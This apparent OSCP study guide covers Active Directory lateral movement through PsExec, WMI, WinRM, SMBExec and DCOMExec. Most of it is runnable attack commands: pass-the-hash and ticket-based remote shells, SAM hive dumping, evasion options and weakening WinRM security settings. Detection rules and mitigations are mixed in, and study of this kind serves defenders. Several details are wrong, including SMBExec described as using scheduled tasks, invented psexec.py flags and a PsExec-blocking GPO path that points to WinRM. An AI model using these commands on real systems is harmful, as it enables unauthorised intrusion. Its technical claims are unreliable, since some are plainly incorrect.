Domain 6Active Directory AttacksCORE

Remote Execution Techniques

Comprehensive guide to remote execution techniques in Active Directory, covering PsExec, WMI, WinRM, SMBExec, and DCOMExec with detailed commands, detection indicators, and mitigation strategies.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#remote-execution#psexec#wmi#winrm#smbexec

Remote Execution Techniques

Table of Contents

  1. Overview of Remote Execution
  2. PsExec
  3. WMI Execution
  4. WinRM / WinRS
  5. SMB Execution
  6. RPC / DCOM Execution
  7. Comparison Table
  8. Detection and Mitigation
  9. OSCP Exam Tips

1. Overview of Remote Execution

Remote execution is the cornerstone of lateral movement in Active Directory. It allows an attacker to run commands on a remote system without physical or interactive access. Understanding each technique’s mechanics, requirements, and trade-offs is essential for both offensive operations and defensive detection.

Why Remote Execution Matters

  • Primary lateral movement vector: Most AD lateral movement relies on remote execution
  • Built-in functionality: Uses legitimate Windows administration tools
  • Multiple protocols: Redundancy — if one is blocked, others may work
  • Living-off-the-land: No malware deployment needed in many cases

Remote Execution Protocol Stack

┌──────────────────────────────────────────────────────────────────┐
│                    REMOTE EXECUTION METHODS                       │
├────────────┬──────────┬───────────┬──────────┬───────────────────┤
│ Technique  │ Protocol │ Port(s)   │ Requires │ Stealth Level     │
├────────────┼──────────┼───────────┼──────────┼───────────────────┤
│ PsExec     │ SMB      │ 445       │ Admin$   │ Low (service)     │
│ WMI        │ DCOM/RPC │ 135+      │ Admin    │ High (fileless)   │
│ WinRM      │ HTTP/S   │ 5985/86   │ WinRM    │ Medium            │
│ SMBExec    │ SMB      │ 445       │ IPC$     │ Medium            │
│ DCOMExec   │ DCOM     │ 135+      │ Admin    │ Medium            │
└────────────┴──────────┴───────────┴──────────┴───────────────────┘

2. PsExec

2.1 How PsExec Works

PsExec is a Sysinternals utility that provides a lightweight telnet-like experience. It is the most well-known remote execution tool and a favorite in OSCP exams.

Mechanism:

Attacker Machine                    Target Machine
─────────────────                   ───────────────
                                    │
1. Connect to ADMIN$ share ────────→│  (SMB, port 445)
                                    │
2. Copy psexesvc.exe to ADMIN$ ────→│  (service executable)
                                    │
3. Create & start PSEXESVC service ─→│  (Service Control Manager)
                                    │
4. Service opens listener socket ───│  (named pipe or TCP)
                                    │
5. Send command via socket ────────→│
                                    │
6. Service executes command ────────│
                                    │
7. Return output via socket ←───────│
                                    │
8. Stop & delete service ──────────→│  (cleanup)
                                    │
9. Delete psexesvc.exe from ADMIN$ →│  (cleanup)
                                    │

Key Components:

  • psexec.exe: Client-side tool running on the attacker’s machine
  • psexesvc.exe: Service binary copied to the target’s ADMIN$ share
  • ADMIN$ share: Administrative share pointing to C:\Windows\
  • Service Control Manager: Used to create and manage the PSEXESVC service

2.2 Native PsExec (Windows)

Prerequisites:

  • Administrative credentials on the target
  • Access to port 445 (SMB)
  • ADMIN$ share must be accessible
  • File and Printer Sharing enabled on target

Basic Commands:

# Basic remote command execution
psexec \\TARGET_IP cmd

# Interactive command prompt on remote system
psexec \\TARGET_IP -s cmd

# Run as specific user
psexec \\TARGET_IP -u DOMAIN\username -p password cmd

# Run with system privileges (-s flag)
psexec \\TARGET_IP -s -u DOMAIN\username -p password cmd

# Execute a specific command
psexec \\TARGET_IP -u DOMAIN\username -p password "whoami"

# Copy a file to the remote system
psexec \\TARGET_IP -c file_to_copy.exe

# Run a program already on the remote system
psexec \\TARGET_IP "C:\path\to\program.exe"

# Accept EULA automatically
psexec \\TARGET_IP -accepteula cmd

# Run hidden (no console window)
psexec \\TARGET_IP -i 0 -d cmd

# Specify custom service name (evasion)
psexec \\TARGET_IP -s ServiceName cmd

Advanced Usage:

# Execute PowerShell script remotely
psexec \\TARGET_IP -u DOMAIN\user -p pass powershell -ep bypass -f C:\path\script.ps1

# Dump SAM database remotely
psexec \\TARGET_IP -s cmd
# Then on remote: reg save HKLM\SAM C:\temp\SAM.sav
#          reg save HKLM\SYSTEM C:\temp\SYSTEM.sav

# Multiple targets at once
psexec @targets.txt -u DOMAIN\user -p pass "ipconfig /all"

# With timeout
psexec \\TARGET_IP -timeout 30 cmd

2.3 Impacket PsExec (psexec.py)

Prerequisites:

  • Impacket installed (pip install impacket)
  • Credentials or hash for target
  • Network access to port 445

Basic Commands:

# Using plaintext password
psexec.py DOMAIN/username:password@TARGET_IP

# Using NTLM hash (pass-the-hash)
psexec.py -hashes lmhash:nthash DOMAIN/username@TARGET_IP

# Using only NTLM hash (LM hash can be empty)
psexec.py -hashes :nthash DOMAIN/username@TARGET_IP

# Using Kerberos ticket
psexec.py -no-pass -k DOMAIN/username@TARGET_IP

# Execute a specific command instead of interactive shell
psexec.py DOMAIN/username:password@TARGET_IP "whoami"

# Use SMBv1 (for legacy systems)
psexec.py -protocol SMBv1 DOMAIN/username:password@TARGET_IP

# Specify DC for authentication
psexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP

# Use LDAP instead of SAMR for authentication
psexec.py -ldap-signing DOMAIN/username:password@TARGET_IP

# No output (silent execution)
psexec.py DOMAIN/username:password@TARGET_IP "command" 2>/dev/null

Advanced Impacket PsExec:

# Kerberoast mode - request TGS for service accounts
psexec.py -kdcHost DC_IP DOMAIN/username:password@TARGET_IP

# With certificate authentication
psexec.py -cert-cert cert.pem -cert-key key.pem DOMAIN/username@TARGET_IP

# AES key authentication
psexec.py -aesKey <AES256_KEY> DOMAIN/username@TARGET_IP

# Continous mode (stay connected)
psexec.py -continous DOMAIN/username:password@TARGET_IP

2.4 PsExec Detection Indicators

Indicator Description Detection Method
Service Creation PSEXESVC service created Event ID 7045 (Service Installed)
File Creation psexesvc.exe written to C:\Windows File integrity monitoring on Windows directory
SMB Connection Connection to ADMIN$ share Event ID 5140 (Share Access)
Registry Changes Service registry keys created Event ID 13 (Registry Object Created)
Network Connection Outbound connection from service Network monitoring on unusual SMB patterns
Process Creation cmd.exe/powershell.exe from service Event ID 4688 (Process Creation)

Specific Event IDs:

Event ID 7045: A service was installed in the system
  - Service Name: PSEXESVC (or custom name)
  - Service File: C:\Windows\PSEXESVC.exe

Event ID 4663: An handle to an object was requested
  - Object: ADMIN$ share access

Event ID 5140: A share was accessed
  - Share Name: ADMIN$

Event ID 4688: A new process was created
  - Parent: services.exe → cmd.exe (suspicious chain)

2.5 PsExec Mitigation

Mitigation Description
Block PsExec service name Group Policy: Prevent installation of PSEXESVC
Restrict ADMIN$ access Limit administrative share access via GPO
AppLocker / WDAC Block execution of psexec.exe and psexesvc.exe
SMB signing Require SMB signing to prevent relay attacks
Network segmentation Restrict port 445 between workstations
Endpoint Detection Alert on service creation in C:\Windows
Disable admin shares GPO: Disable automatic administrative shares

GPO to block PsExec:

Computer Configuration → Policies → Administrative Templates
→ Windows Components → Windows Remote Management (WinRM)
→ WinRM Service → Allow remote server management through WinRM

Also:
Computer Configuration → Policies → Windows Settings
→ Security Settings → Registry (custom GPO to block PSEXESVC service name)

3. WMI Execution

3.1 How WMI Execution Works

Windows Management Instrumentation (WMI) is a powerful administration framework that allows remote query and execution. WMI execution is fileless — it does not copy any binaries to the target.

Mechanism:

Attacker Machine                    Target Machine
─────────────────                   ───────────────
                                    │
1. Connect via DCOM/RPC ───────────→│  (port 135)
                                    │
2. Epmap negotiation ──────────────→│  (dynamic port assignment)
                                    │
3. WMI namespace access ───────────→│  (root\cimv2)
                                    │
4. Win32_Process.Create ───────────→│  (process creation)
                                    │
5. Command executes in svchost.exe ─│  (WMI provider host)
                                    │
6. Output retrieved via WMI query ←──│  (StdOutReg provider or event log)
                                    │

Key Components:

  • DCOM (Distributed COM): Communication protocol over RPC
  • RPC Endpoint Mapper: Port 135, assigns dynamic ports for WMI
  • Win32_Process class: WMI class used to create remote processes
  • StdRegProv / StdOutReg: Methods to capture command output

3.2 WMI via PowerShell

Prerequisites:

  • Administrative credentials on target
  • Port 135 (RPC) accessible
  • WMI service running on target
  • DCOM access allowed by firewall

Basic Commands:

# Execute command via Win32_Process.Create
$process = [WMICLASS]"\\TARGET_IP\root\cimv2:Win32_Process"
$process.Create("cmd.exe /c whoami > C:\temp\output.txt")

# With credentials
$cred = Get-Credential
$process = [WMICLASS]"\\TARGET_IP\root\cimv2:Win32_Process"
$process.Create("cmd.exe /c whoami")

# Using Invoke-WmiMethod
Invoke-WmiMethod -ComputerName TARGET_IP -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"

# Query WMI remotely
Get-WmiObject -Class Win32_OperatingSystem -ComputerName TARGET_IP
Get-WmiObject -Class Win32_Process -ComputerName TARGET_IP

# CIM (newer, preferred over WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -ComputerName TARGET_IP -Arguments @{CommandLine="cmd.exe /c whoami"}
Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName TARGET_IP

PowerShell WMI Execution with Output Capture:

# Method 1: Write to file, then read
$proc = [WMICLASS]"\\TARGET\root\cimv2:Win32_Process"
$proc.Create("cmd.exe /c whoami > C:\Windows\Temp\wmires.txt")
Get-Content \\TARGET\C$\Windows\Temp\wmires.txt

# Method 2: Use StdOutReg provider (requires setup)
# First, register the provider on target
# Then query output from registry

# Method 3: Event log method
$proc.Create("cmd.exe /c eventcreate /ID 100 /L SYSTEM /T INFORMATION /SO test /D 'output_here'")
Get-WinEvent -ComputerName TARGET -FilterHashtable @{LogName='System'; ID=100}

3.3 WMI via Impacket (wmiexec.py)

Basic Commands:

# Using plaintext password
wmiexec.py DOMAIN/username:password@TARGET_IP

# Using NTLM hash
wmiexec.py -hashes :nthash DOMAIN/username@TARGET_IP

# Using Kerberos
wmiexec.py -no-pass -k DOMAIN/username@TARGET_IP

# Execute specific command
wmiexec.py DOMAIN/username:password@TARGET_IP "whoami"

# Specify DC
wmiexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP

# Kerberos with specific DC
wmiexec.py -k -dc-ip DC_IP DOMAIN/username@TARGET_IP

3.4 WMI via WMIC (Legacy)

# Basic WMIC command
wmic /node:TARGET_IP /user:DOMAIN\username /password:password process call create "cmd.exe /c whoami"

# Query processes
wmic /node:TARGET_IP /user:DOMAIN\username /password:password process list brief

# Query operating system
wmic /node:TARGET_IP /user:DOMAIN\username /password:password os get Caption,Version

# List shares
wmic /node:TARGET_IP /user:DOMAIN\username /password:password share list

# Query user accounts
wmic /node:TARGET_IP /user:DOMAIN\username /password:password useraccount list

3.5 WMI Detection Indicators

Indicator Description Detection Method
Process Creation via WMI Win32_Process.Create calls Event ID 4688 with WMI parent process
DCOM Activation Remote DCOM object activation Event ID 5900 (MS10-091 DCOM)
WMI Event Subscription Permanent event consumers Event ID 5861 (Event Consumer Activity)
RPC Connection Unusual RPC traffic on port 135 Network monitoring
No file drop Fileless execution Behavioral analysis (process without file)

Specific Event IDs:

Event ID 4688: Process Creation
  - Parent Image: C:\Windows\System32\wbem\wmiprvse.exe
  - This indicates WMI-spawned process

Event ID 5857: A WMI filter was created/modified
Event ID 5859: A WMI event consumer was created/modified
Event ID 5860: A WMI event consumer binding was created/modified
Event ID 5861: Activity in a WMI event consumer

Event ID 5900: MS10-091 DCOM RPC exploit attempt
  - Indicates remote DCOM activation

3.6 WMI Mitigation

Mitigation Description
Restrict DCOM access GPO: Limit DCOM activation permissions
Disable WMI remotely GPO: Disable remote WMI administration
Firewall rules Block port 135 from untrusted networks
WMI namespaces security Restrict access to root\cimv2 namespace
Monitor WMI events Enable WMI activity logging (Event IDs 5857-5861)
AppLocker Block suspicious process creation chains

4. WinRM / WinRS

4.1 How WinRM Works

Windows Remote Management (WinRM) is a Windows service that allows remote management via WS-Management protocol. It operates over HTTP (port 5985) or HTTPS (port 5986).

Mechanism:

Attacker Machine                    Target Machine
─────────────────                   ───────────────
                                    │
1. HTTP POST to wsman ─────────────→│  (port 5985/5986)
   /wsman                          │
                                    │
2. Kerberos/NTLM Negotiation ──────→│  (authentication)
                                    │
3. Shell resource creation ────────→│  (winrm/create-shell)
                                    │
4. Command send ───────────────────→│  (winrm/command)
                                    │
5. Output receive ←─────────────────│  (winrm/command-output)
                                    │
6. Shell cleanup ──────────────────→│  (winrm/delete-shell)
                                    │

Key Components:

  • WinRM Service: Windows service listening on ports 5985/5986
  • WinRS: Windows Remote Shell — the actual shell component
  • WS-Management Protocol: SOAP-based protocol over HTTP
  • Kerberos Authentication: Default auth method in domain environments

4.2 WinRM via PowerShell

Prerequisites:

  • WinRM service enabled on target (winrm quickconfig)
  • Port 5985 (HTTP) or 5986 (HTTPS) accessible
  • Credentials with appropriate permissions
  • TrustedHosts configured (for non-domain or HTTP)

Enable WinRM on Target:

# Quick configuration
winrm quickconfig

# Check WinRM status
winrm enumerate winrm/config/listener

# Configure TrustedHosts (for non-domain scenarios)
winrm set winrm/config/client '@{TrustedHosts="*"}'

# Enable WinRM with authentication
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/service/auth '@{Basic="true"}'

Enter-PSSession (Interactive):

# Interactive PowerShell session
Enter-PSSession -ComputerName TARGET_IP -Credential (Get-Credential)

# With specific credentials
Enter-PSSession -ComputerName TARGET_IP -Credential DOMAIN\username

# Over HTTPS
Enter-PSSession -ComputerName TARGET_IP -UseSSL -Credential DOMAIN\username

# With authentication scheme
Enter-PSSession -ComputerName TARGET_IP -Authentication Kerberos -Credential DOMAIN\username

# Exit session
Exit-PSSession

Invoke-Command (Non-Interactive):

# Single command
Invoke-Command -ComputerName TARGET_IP -ScriptBlock { whoami } -Credential (Get-Credential)

# Multiple commands
Invoke-Command -ComputerName TARGET_IP -ScriptBlock {
    whoami
    ipconfig /all
    Get-Process
} -Credential DOMAIN\username

# Execute script file remotely
Invoke-Command -ComputerName TARGET_IP -FilePath .\script.ps1 -Credential DOMAIN\username

# Multiple targets
Invoke-Command -ComputerName TARGET1, TARGET2, TARGET3 -ScriptBlock { hostname } -Credential DOMAIN\username

# With session (persistent)
$session = New-PSSession -ComputerName TARGET_IP -Credential DOMAIN\username
Invoke-Command -Session $session -ScriptBlock { whoami }
Remove-PSSession $session

Enable-PSRemoting:

# On target - enable PowerShell remoting
Enable-PSRemoting -Force

# Verify configuration
Test-WSMan TARGET_IP

# Configure for domain environment
Enable-PSRemoting -SkipNetworkProfileCheck -Force

4.3 evil-winrm (Ruby Tool)

Prerequisites:

  • Ruby installed (sudo apt install ruby)
  • evil-winrm gem (gem install evil-winrm)

Basic Commands:

# Basic connection
evil-winrm -i TARGET_IP -u username -p password

# With domain
evil-winrm -i TARGET_IP -u username -p password -d DOMAIN

# Using NTLM hash
evil-winrm -i TARGET_IP -u username -H nthash

# Using Kerberos
evil-winrm -i TARGET_IP -u username -k

# With certificate (HTTPS)
evil-winrm -i TARGET_IP -u username -p password -s

# Upload file
evil-winrm -i TARGET_IP -u username -p password
upload /local/path/file.exe C:\Windows\Temp\file.exe

# Download file
download C:\Windows\Temp\file.exe /local/path/

4.4 WinRM via Impacket

# Using wmiexec with WinRM backend (not direct WinRM, but related)
wmiexec.py DOMAIN/username:password@TARGET_IP

# Note: Impacket does not have a dedicated winrm.py
# Use evil-winrm or PowerShell for WinRM access

4.5 WinRM Detection Indicators

Indicator Description Detection Method
WinRM Service Start WinRM service started unexpectedly Event ID 7045
HTTP Traffic on 5985 WS-Man traffic on WinRM port Network monitoring
Process Creation wsmprovhost.exe spawning processes Event ID 4688
Authentication Events Kerberos/NTLM auth to WinRM Event ID 4624
Shell Creation WinRM shell resource created Event ID 4104 (Operational)

Specific Event IDs:

Event ID 4104: A Windows Remote Management (WRM) event
  - Provider: Microsoft-Windows-WinRM/Operational
  - Shows shell creation, command execution

Event ID 4688: Process Creation
  - Image: C:\Windows\System32\wsmprovhost.exe
  - Indicates WinRM-spawned process

Event ID 4624: Logon
  - Logon Type: 10 (RemoteInteractive) or 9 (NewCredentials)
  - Authentication: Kerberos to WinRM service

4.6 WinRM Mitigation

Mitigation Description
Disable WinRM winrm quickconfig reverse — disable service
Use HTTPS only Force port 5986 with certificate
Restrict TrustedHosts Limit to specific IPs/ranges
Firewall rules Block 5985/5986 from untrusted networks
Kerberos-only auth Disable Basic/NTLM for WinRM
Monitor WinRM logs Enable WinRM operational logging

5. SMB Execution

5.1 How SMBExec Works

SMBExec (specifically smbexec.py from Impacket) provides remote execution without dropping a service binary. It uses the IPC$ (Inter-Process Communication) share and scheduled tasks for execution.

Mechanism:

Attacker Machine                    Target Machine
─────────────────                   ───────────────
                                    │
1. Connect to IPC$ share ──────────→│  (SMB, port 445)
                                    │
2. Create scheduled task ──────────→│  (SchedSvc via RPC)
                                    │
3. Task executes command ──────────→│  (at specified time)
                                    │
4. Output written to file ──────────│  (in shared location)
                                    │
5. Read output via SMB ←────────────│
                                    │
6. Delete scheduled task ──────────→│  (cleanup)
                                    │
7. Delete output file ─────────────→│  (cleanup)
                                    │

Key Differences from PsExec:

  • No service binary dropped (more stealthy)
  • Uses scheduled tasks instead of services
  • Still requires admin access to IPC$
  • Slower execution (scheduled task delay)

5.2 SMBExec via Impacket

Basic Commands:

# Using plaintext password
smbexec.py DOMAIN/username:password@TARGET_IP

# Using NTLM hash
smbexec.py -hashes :nthash DOMAIN/username@TARGET_IP

# Using Kerberos
smbexec.py -no-pass -k DOMAIN/username@TARGET_IP

# Execute specific command
smbexec.py DOMAIN/username:password@TARGET_IP "whoami"

# With DC specification
smbexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP

5.3 SMBExec Detection Indicators

Indicator Description Detection Method
Scheduled Task Creation New task created via RPC Event ID 4698 (Scheduled Task Created)
IPC$ Access Connection to IPC$ share Event ID 5140
Task Deletion Task removed after execution Event ID 4700 (Scheduled Task Deleted)
File Creation Temp output file created File monitoring

Specific Event IDs:

Event ID 4698: A scheduled task was created
  - Task Name: Randomly generated name
  - Author: Attacker's account

Event ID 4700: A scheduled task was deleted
  - Task Name: Same random name

Event ID 4699: A scheduled task was updated
  - Indicates task modification

5.4 SMBExec Mitigation

Mitigation Description
Restrict IPC$ access Limit IPC$ share access via GPO
Block scheduled task creation Restrict task creation permissions
Monitor task events Alert on Events 4698, 4699, 4700
SMB signing Require SMB signing
Network segmentation Restrict port 445

6. RPC / DCOM Execution

6.1 How DCOMExec Works

DCOMExec uses Distributed COM objects to execute commands remotely. It leverages the same infrastructure as WMI but through different COM objects.

Mechanism:

Attacker Machine                    Target Machine
─────────────────                   ───────────────
                                    │
1. RPC connection ──────────────────→│  (port 135)
                                    │
2. DCOM object activation ──────────→│  (ShellBrowserWindow)
                                    │
3. Command execution via DCOM ──────→│
                                    │
4. Output retrieval ←───────────────│
                                    │

6.2 DCOMExec via Impacket

Basic Commands:

# Using plaintext password
dcomexec.py DOMAIN/username:password@TARGET_IP

# Using NTLM hash
dcomexec.py -hashes :nthash DOMAIN/username@TARGET_IP

# Using Kerberos
dcomexec.py -no-pass -k DOMAIN/username@TARGET_IP

# Execute specific command
dcomexec.py DOMAIN/username:password@TARGET_IP "whoami"

# With DC specification
dcomexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP

6.3 DCOMExec Detection Indicators

Indicator Description Detection Method
DCOM Activation Remote DCOM object creation Event ID 5900
RPC Traffic Unusual RPC on port 135 Network monitoring
Process Creation Processes spawned via DCOM Event ID 4688

6.4 DCOMExec Mitigation

Mitigation Description
Restrict DCOM GPO: Limit DCOM activation
Firewall rules Block port 135 from untrusted networks
Monitor DCOM events Enable DCOM activation logging
Endpoint detection Alert on remote DCOM activations

7. Comparison Table

Comprehensive Technique Comparison

Feature PsExec WMI WinRM SMBExec DCOMExec
Protocol SMB DCOM/RPC HTTP/S SMB + RPC DCOM/RPC
Port(s) 445 135 + dynamic 5985/5986 445 + 135 135 + dynamic
File Drop Yes (psexesvc.exe) No (fileless) No (fileless) No (fileless) No (fileless)
Service Created Yes (PSEXESVC) No No No No
Scheduled Task No No No Yes No
Stealth Level Low High Medium Medium Medium
Detection Difficulty Easy Hard Medium Medium Medium
Interactive Shell Yes Limited Yes Limited Limited
File Transfer Yes (-c flag) No Yes (evil-winrm) No No
Kerberos Support Yes Yes Yes (default) Yes Yes
Pass-the-Hash Yes Yes Yes Yes Yes
Pass-the-Ticket Yes Yes Yes Yes Yes
Requires Admin$ Yes No No IPC$ only No
Speed Fast Medium Fast Slow Medium
Reliability High High High Medium Medium
OSCP Frequency Very High High High Medium Low

When to Use Each Technique

Situation Recommended Technique Reason
Standard AD lab, port 445 open PsExec Most reliable, interactive
Port 445 blocked, 135 open WMI Uses RPC, fileless
WinRM enabled, want PowerShell WinRM Native PowerShell integration
Maximum stealth needed WMI No files, no services
Need file upload PsExec or WinRM Both support file transfer
Quick command execution SMBExec Simple, no service
All else fails Try all Different configs block different methods

8. Detection and Mitigation

Unified Detection Strategy

SIEM Correlation Rules:

Rule 1: PsExec Detection
IF EventID=7045 AND ServiceName CONTAINS "PSEXESVC"
THEN Alert: "PsExec service detected"

Rule 2: WMI Remote Execution
IF EventID=4688 AND ParentImage CONTAINS "wmiprvse.exe"
AND Image NOT IN (whitelist)
THEN Alert: "WMI remote process creation"

Rule 3: WinRM Suspicious Activity
IF EventID=4104 AND Operation="CreateShell"
AND SourceIP NOT IN (admin_ips)
THEN Alert: "Suspicious WinRM shell creation"

Rule 4: Scheduled Task Lateral Movement
IF EventID=4698 AND TaskName MATCHES random_pattern
AND EventID=4700 WITHIN 5 minutes
THEN Alert: "Possible SMBExec activity"

Rule 5: Rapid Multi-Host Access
IF EventID=4624 AND SameUser accesses >5 hosts IN 10 minutes
THEN Alert: "Possible lateral movement"

Defense-in-Depth Mitigations

Layer Mitigation Tools/Methods
Network Segment admin traffic, block unnecessary ports VLANs, Firewall rules
Host Disable unused services, harden configs GPO, Local Security Policy
Application AppLocker, WDAC rules Application whitelisting
Monitoring EDR, SIEM, event forwarding Splunk, Sentinel, ELK
Identity LAPS, PAM, just-in-time admin Privileged Access Management
Authentication Enforce Kerberos, disable NTLM where possible GPO, LDAP policies

9. OSCP Exam Tips

Remote Execution Command Quick Reference

# From Kali - try techniques in this order:

# 1. PsExec (most reliable)
psexec.py DOMAIN/user:pass@TARGET

# 2. WMI (if 445 blocked)
wmiexec.py DOMAIN/user:pass@TARGET

# 3. WinRM (if enabled)
evil-winrm -i TARGET -u user -p pass -d DOMAIN

# 4. SMBExec (alternative)
smbexec.py DOMAIN/user:pass@TARGET

# With hash instead of password:
psexec.py -hashes :HASH DOMAIN/user@TARGET
wmiexec.py -hashes :HASH DOMAIN/user@TARGET

# With Kerberos ticket:
export KRB5CCNAME=ticket.ccache
psexec.py -no-pass -k DOMAIN/user@TARGET

Common Exam Scenarios

Scenario Solution
You have admin password, 445 open psexec.py DOMAIN/user:pass@TARGET
You have hash, 445 open psexec.py -hashes :HASH DOMAIN/user@TARGET
445 blocked, 135 open wmiexec.py DOMAIN/user:pass@TARGET
WinRM enabled on 5985 evil-winrm -i TARGET -u user -p pass
You have Kerberos ticket export KRB5CCNAME=ticket.ccache; psexec.py -no-pass -k DOMAIN/user@TARGET
Need to upload a file Use PsExec -c flag or evil-winrm upload

Troubleshooting

Error Cause Fix
STATUS_ACCESS_DENIED Not admin on target Verify credentials, check local groups
Connection refused Port blocked Try different technique (WMI, WinRM)
The filename or extension is too long Path issue Use shorter paths
Login failure Wrong credentials Verify username/password/domain
WinRM cannot complete the operation WinRM not configured Use PsExec or WMI instead
DCERPC Runtime error RPC issue Try different technique
No connection could be made Network/Firewall Check connectivity, try nmap first

Key Reminders

  1. Always try PsExec first — it’s the most reliable in OSCP labs
  2. Have WMI as backup — when SMB is blocked
  3. Check WinRM — crackmapexec winrm quickly identifies WinRM-enabled targets
  4. Document each attempt — screenshot commands and outputs for your report
  5. Use CrackMapExec for reconnaissance — before attempting execution, verify access
  6. Remember the hash format — psexec.py -hashes lm:nt (LM can be empty: :nt)

Summary

Remote execution is the engine of lateral movement in Active Directory. Each technique has its strengths:

  • PsExec: Most reliable, interactive, but least stealthy
  • WMI: Fileless and stealthy, great when SMB is blocked
  • WinRM: PowerShell-native, good for scripting and file transfer
  • SMBExec: No file drop, uses scheduled tasks
  • DCOMExec: Alternative DCOM-based approach

Master all five techniques, understand their detection indicators, and know when to switch between them. In OSCP exams, having multiple fallback options is crucial for success.